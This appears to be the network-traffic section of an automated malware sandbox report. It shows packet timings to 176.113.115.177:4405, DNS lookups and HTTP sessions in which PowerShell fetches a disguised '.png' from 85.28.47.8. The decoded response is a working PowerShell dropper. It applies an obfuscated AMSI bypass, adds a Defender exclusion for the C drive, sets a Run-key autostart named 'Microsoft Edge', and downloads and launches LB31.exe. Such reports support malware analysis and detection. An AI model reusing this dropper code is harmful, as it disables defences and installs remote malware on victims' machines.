                                                              Jul 4, 2024 11:17:11.977325916 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:11.982192039 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:12.052807093 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:12.054116964 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:12.059036016 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:13.210014105 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:13.211455107 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:13.216377020 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:13.242737055 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:13.247133970 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:13.252079964 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:13.271312952 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:13.272397041 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:13.277283907 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:13.536834955 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:13.542416096 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:13.547282934 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:14.445185900 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:14.446432114 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:14.451278925 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:14.477072954 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:14.478394032 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:14.483278990 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:15.478215933 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:15.483058929 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:15.488102913 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:15.691071987 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:15.692203999 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:15.905452967 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:15.919495106 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:15.920479059 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:15.920959949 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:15.921037912 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:15.921102047 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:15.921116114 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:15.921148062 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:15.921155930 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:15.922856092 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:15.925846100 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:15.928071976 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:15.931272030 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:17.146275043 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:17.147559881 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:17.147669077 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:17.148772955 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:17.152757883 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:17.155057907 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:17.711543083 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:17.715898991 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:17.720700979 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:18.146709919 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:18.150644064 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:18.155503035 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:18.349426031 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:18.350594044 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:18.355540037 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:18.381927013 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:18.383240938 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:18.388107061 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:19.552746058 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:19.554130077 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:19.559039116 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:19.616439104 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:19.617665052 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:19.622510910 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:19.930311918 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:19.934346914 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:19.939277887 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:20.380883932 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:20.385660887 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:20.391047955 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:20.786669016 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:20.787800074 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:20.793088913 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:20.851353884 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:20.852499962 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:20.857327938 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:22.005755901 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:22.007302999 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:22.012154102 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:22.069736004 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:22.070898056 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:22.076550961 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:22.164884090 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:22.170154095 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:22.175024033 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:22.599503040 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:22.603679895 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:22.608498096 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:23.224988937 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:23.226164103 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:23.231074095 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:23.304125071 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:23.305325031 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:23.310194969 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:24.399075031 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:24.403461933 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:24.408304930 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:24.459361076 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:24.460501909 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:24.466263056 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:24.522537947 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:24.523636103 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:24.528592110 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:24.833868980 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:24.838093996 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:24.843563080 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:25.679625034 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:25.680830956 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:25.705152035 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:25.757383108 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:25.758547068 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:25.763374090 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:26.633483887 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:26.637021065 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:26.641827106 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:26.927496910 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:26.928689957 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:26.933455944 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:26.976068974 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:26.977129936 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:26.981931925 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:27.068056107 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:27.071538925 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:27.076297998 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:28.146631002 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:28.147912979 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:28.152932882 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:28.210508108 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:28.211756945 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:28.216793060 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:28.857753992 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:28.862518072 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:28.867348909 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:29.302715063 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:29.306762934 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:29.312278032 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:29.380625010 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:29.381692886 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:29.386465073 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:29.444645882 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:29.445817947 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:29.450699091 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:30.599625111 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:30.600810051 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:30.605575085 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:30.679254055 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:30.681073904 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:30.685902119 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:31.071388006 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:31.075531006 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:31.080439091 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:31.537172079 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:31.558300972 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:31.563415051 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:31.818481922 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:31.819739103 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:31.825006008 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:31.913619041 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:31.915067911 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:31.920012951 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:33.052612066 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:33.055901051 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:33.060740948 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:33.148256063 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:33.149377108 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:33.154279947 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:33.305197001 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:33.358550072 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:33.799057961 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:33.842917919 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:34.014195919 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:34.020406008 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:34.271383047 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:34.327301979 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:34.383248091 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:34.436675072 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:36.245373964 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:36.342958927 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:42.033145905 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:42.039374113 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:43.255808115 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:43.342941046 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:51.627413034 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:51.632376909 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:52.695286989 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:52.700134039 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:53.849323988 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:53.929267883 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:17:54.005109072 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:17:54.014801025 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:02.221590996 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:02.222755909 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:02.226438046 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:02.227473974 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:03.442995071 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:03.530553102 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:04.428860903 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:04.530452013 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:06.972461939 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:06.977359056 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:08.156786919 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:08.161612034 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:09.343218088 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:09.842988968 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:10.211395025 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:10.214195967 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:10.215120077 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:10.215188980 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:10.215600967 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:10.215653896 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:10.215734959 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:10.215773106 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:10.215898991 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:10.215945005 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:10.220012903 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:10.220029116 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:12.430579901 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:12.630980015 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:13.576248884 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:13.580415010 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:13.581224918 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:13.585236073 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:14.273961067 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:14.278750896 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:14.802262068 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:14.803046942 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:14.807832003 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:15.281790972 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:15.286621094 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:15.802357912 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:15.806952953 CEST497244405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:15.811785936 CEST440549724176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:16.021280050 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:16.022070885 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:16.026916981 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:16.507482052 CEST440549731176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:16.508559942 CEST440549738176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:16.561705112 CEST497384405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:16.561705112 CEST497314405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:18:17.224627018 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:18:17.280442953 CEST497214405192.168.2.6176.113.115.177

                                                              UDP Packets

                                                              TimestampSource PortDest PortSource IPDest IP
                                                              Jul 4, 2024 11:16:04.695324898 CEST5660653192.168.2.61.1.1.1
                                                              Jul 4, 2024 11:16:04.707156897 CEST53566061.1.1.1192.168.2.6
                                                              Jul 4, 2024 11:16:20.594924927 CEST6387453192.168.2.61.1.1.1
                                                              Jul 4, 2024 11:16:20.612113953 CEST53638741.1.1.1192.168.2.6
                                                              Jul 4, 2024 11:16:22.002867937 CEST6066453192.168.2.61.1.1.1
                                                              Jul 4, 2024 11:16:22.009834051 CEST53606641.1.1.1192.168.2.6
                                                              Jul 4, 2024 11:16:23.758903980 CEST5564253192.168.2.61.1.1.1
                                                              Jul 4, 2024 11:16:23.765980005 CEST53556421.1.1.1192.168.2.6

                                                              DNS Queries

                                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                              Jul 4, 2024 11:16:04.695324898 CEST192.168.2.61.1.1.10x1431Standard query (0)2no.coA (IP address)IN (0x0001)false
                                                              Jul 4, 2024 11:16:20.594924927 CEST192.168.2.61.1.1.10x17ecStandard query (0)2no.coA (IP address)IN (0x0001)false
                                                              Jul 4, 2024 11:16:22.002867937 CEST192.168.2.61.1.1.10xa2a9Standard query (0)unpkg.comA (IP address)IN (0x0001)false
                                                              Jul 4, 2024 11:16:23.758903980 CEST192.168.2.61.1.1.10x9ebaStandard query (0)counter.yadro.ruA (IP address)IN (0x0001)false

                                                              DNS Answers

                                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                              Jul 4, 2024 11:16:04.707156897 CEST1.1.1.1192.168.2.60x1431No error (0)2no.co172.67.149.76A (IP address)IN (0x0001)false
                                                              Jul 4, 2024 11:16:04.707156897 CEST1.1.1.1192.168.2.60x1431No error (0)2no.co104.21.79.229A (IP address)IN (0x0001)false
                                                              Jul 4, 2024 11:16:20.612113953 CEST1.1.1.1192.168.2.60x17ecNo error (0)2no.co172.67.149.76A (IP address)IN (0x0001)false
                                                              Jul 4, 2024 11:16:20.612113953 CEST1.1.1.1192.168.2.60x17ecNo error (0)2no.co104.21.79.229A (IP address)IN (0x0001)false
                                                              Jul 4, 2024 11:16:22.009834051 CEST1.1.1.1192.168.2.60xa2a9No error (0)unpkg.com104.17.247.203A (IP address)IN (0x0001)false
                                                              Jul 4, 2024 11:16:22.009834051 CEST1.1.1.1192.168.2.60xa2a9No error (0)unpkg.com104.17.249.203A (IP address)IN (0x0001)false
                                                              Jul 4, 2024 11:16:22.009834051 CEST1.1.1.1192.168.2.60xa2a9No error (0)unpkg.com104.17.245.203A (IP address)IN (0x0001)false
                                                              Jul 4, 2024 11:16:22.009834051 CEST1.1.1.1192.168.2.60xa2a9No error (0)unpkg.com104.17.246.203A (IP address)IN (0x0001)false
                                                              Jul 4, 2024 11:16:22.009834051 CEST1.1.1.1192.168.2.60xa2a9No error (0)unpkg.com104.17.248.203A (IP address)IN (0x0001)false
                                                              Jul 4, 2024 11:16:23.765980005 CEST1.1.1.1192.168.2.60x9ebaNo error (0)counter.yadro.ru88.212.202.52A (IP address)IN (0x0001)false
                                                              Jul 4, 2024 11:16:23.765980005 CEST1.1.1.1192.168.2.60x9ebaNo error (0)counter.yadro.ru88.212.201.198A (IP address)IN (0x0001)false
                                                              Jul 4, 2024 11:16:23.765980005 CEST1.1.1.1192.168.2.60x9ebaNo error (0)counter.yadro.ru88.212.201.204A (IP address)IN (0x0001)false

                                                              HTTP Request Dependency Graph

                                                              • 2no.co
                                                              • unpkg.com
                                                              • counter.yadro.ru
                                                              • 85.28.47.8
                                                              • 176.113.115.177

                                                              HTTP Packets

                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              0192.168.2.64971285.28.47.8805492C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              TimestampBytes transferredDirectionData
                                                              Jul 4, 2024 11:16:03.912321091 CEST67OUTGET /x/L.png HTTP/1.1
                                                              Host: 85.28.47.8
                                                              Connection: Keep-Alive
                                                              Jul 4, 2024 11:16:04.542639017 CEST1236INHTTP/1.1 200 OK
                                                              Content-Type: image/png
                                                              Last-Modified: Thu, 04 Jul 2024 08:05:27 GMT
                                                              Accept-Ranges: bytes
                                                              ETag: "5f2d3eee8cdda1:0"
                                                              Server: Microsoft-IIS/10.0
                                                              Date: Thu, 04 Jul 2024 09:16:03 GMT
                                                              Content-Length: 1952
                                                              Data Raw: 69 70 63 6f 6e 66 69 67 20 2f 66 6c 75 73 68 64 6e 73 0d 0a 0d 0a 5b 72 65 66 5d 2e 41 73 73 65 6d 62 6c 79 2e 47 65 74 54 79 70 65 28 27 53 2a 79 21 73 2a 74 2a 65 2a 6d 21 2e 21 4d 21 61 24 6e 21 61 2a 67 21 65 2a 6d 2a 65 21 6e 21 74 24 2e 24 41 2a 75 2a 74 21 6f 21 6d 2a 61 2a 74 24 69 2a 6f 2a 6e 21 2e 21 41 21 6d 2a 73 2a 69 21 55 2a 74 24 69 2a 6c 21 73 2a 27 2e 72 65 70 6c 61 63 65 28 27 24 27 2c 27 27 29 2e 72 65 70 6c 61 63 65 28 27 21 27 2c 27 27 29 2e 72 65 70 6c 61 63 65 28 27 2a 27 2c 27 27 29 29 2e 47 65 74 46 69 65 6c 64 28 27 61 21 6d 3d 73 2d 69 2d 49 3d 6e 3d 69 2d 74 2d 46 3d 61 2d 69 21 6c 21 65 2d 64 3d 27 2e 72 65 70 6c 61 63 65 28 27 21 27 2c 27 27 29 2e 72 65 70 6c 61 63 65 28 27 3d 27 2c 27 27 29 2e 72 65 70 6c 61 63 65 28 27 2d 27 2c 27 27 29 2c 20 27 4e 6f 6e 50 75 62 6c 69 63 2c 53 74 61 74 69 63 27 29 2e 28 27 53 29 65 25 74 25 56 29 61 7d 6c 25 75 25 65 7d 27 2e 72 65 70 6c 61 63 65 28 27 7d 27 2c 27 27 29 2e 72 65 70 6c 61 63 65 28 27 29 27 2c 27 27 29 2e 72 65 70 6c [TRUNCATED]
                                                              Data Ascii: ipconfig /flushdns[ref].Assembly.GetType('S*y!s*t*e*m!.!M!a$n!a*g!e*m*e!n!t$.$A*u*t!o!m*a*t$i*o*n!.!A!m*s*i!U*t$i*l!s*'.replace('$','').replace('!','').replace('*','')).GetField('a!m=s-i-I=n=i-t-F=a-i!l!e-d='.replace('!','').replace('=','').replace('-',''), 'NonPublic,Static').('S)e%t%V)a}l%u%e}'.replace('}','').replace(')','').replace('%',''))($null, $true)if ([Environment]::UserDomainName -match [Environment]::MachineName) {# NO Domain$id = [System.Security.Principal.WindowsIdentity]::GetCurrent()$p = New-Object System.Security.Principal.WindowsPrincipal($id)if ($p.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)){$GG = Get-PSDrive C| where-object {$_.used -gt 0} |Select-Object @{name="USED";expression={$_.used/1GB}}$BB = $GG -replace "[^0-9.-]"if ( $BB -lt 500745277404785 ){}else{powershell Add-MpPreference -ExclusionPath "c:\" New-ItemProperty -Path 'HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Microsoft Edge
                                                              Jul 4, 2024 11:16:04.542661905 CEST941INData Raw: 73 27 20 2d 56 61 6c 75 65 20 24 65 6e 76 3a 41 50 50 44 41 54 41 27 5c 4c 42 33 31 2e 65 78 65 27 0d 0a 73 74 61 72 74 2d 73 6c 65 65 70 20 2d 73 20 38 0d 0a 0d 0a 24 75 72 6c 20 3d 20 22 68 74 74 70 3a 2f 2f 38 35 2e 32 38 2e 34 37 2e 38 2f 78
                                                              Data Ascii: s' -Value $env:APPDATA'\LB31.exe'start-sleep -s 8$url = "http://85.28.47.8/x/LB3.png"$output = "$env:APPDATA\LB31.exe"$start_time = Get-Date$wc = New-Object System.Net.WebClient$wc.DownloadFile($url, $output)Start-Process $outp


                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              1192.168.2.64971385.28.47.8806600C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              TimestampBytes transferredDirectionData
                                                              Jul 4, 2024 11:16:03.917308092 CEST67OUTGET /x/M.png HTTP/1.1
